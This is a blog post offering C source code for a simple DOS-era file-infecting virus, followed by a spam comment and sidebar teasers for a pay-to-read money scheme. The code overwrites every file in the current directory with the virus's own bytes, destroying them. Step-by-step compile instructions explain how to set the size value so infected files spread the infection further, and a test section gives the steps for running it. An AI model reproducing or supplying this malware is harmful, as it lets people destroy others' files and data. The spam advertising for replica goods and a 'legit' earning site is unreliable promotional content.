Skip to main content

How to Create a Computer Virus?

How to Create a Computer Virus?

Submitted by on Friday, 7 December 200781 Comments
This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.


#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
 

COMPILING METHOD:

 
USING BORLAND TC++ 3.0 (16-BIT):
1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
 
USING BORLAND C++ 5.5 (32-BIT) :
1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
 

HOW TO TEST:

 
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect
That’s it

Comments

Anonymous said…
[url=http://www.gucci-replica-handbags.com/]Gucci Replica Handbags[/url]
on Sale, 100% satisfaction guaranteed. Get 80% Off of [url=http://www.hermes-birkin-handbags.net/]Hermes Birkin Handbags[/url]
Fast Delivery and happy customers.

Popular posts from this blog

GET FREE $5 SIGN UP BONUS AND BOOST YOUR EARNINGS FOR FREE

GET FREE $5 SIGN UP BONUS AND BOOST YOUR EARNINGS FOR FREE We all want to make money online but frankly speaking it is not easy to do so. There are many methods and websites available from which we can earn money but ask yourself if they are legit site and not scam? And the answer is 90% of those money making sites are scam, they loot people and don’t give payments to their users. Well after lot of research I found the brilliant website which is proved and legit running since 1998. You can easily make unlimited money from this read to earn website. Hits4Pay : Best Way to Make Unlimited Money Online Hits4Pay is a website by an advertising firm, It is a program where you need to just view the emailed ads and you will be paid handsome amount for that.

free online apps 3

THIS IS THE SECOND POST OF THIS SERIES. FOR FIRST TWO GO TO hackthemall.tk. THIS POST IS ON IMAGE VIEW AND EDIT. SO LET'S START.

How To:Test Website Speed Online

How To:Test Website Speed Online After you have done the same you might want to test weather you have achieved the results you worke d hard for. This post will focus on the same topic and will bring to your view some undiscovered Online Tools to help you test website speed. To Test Website Speed you may use any of the following online website speed testers. Test Website Speed Online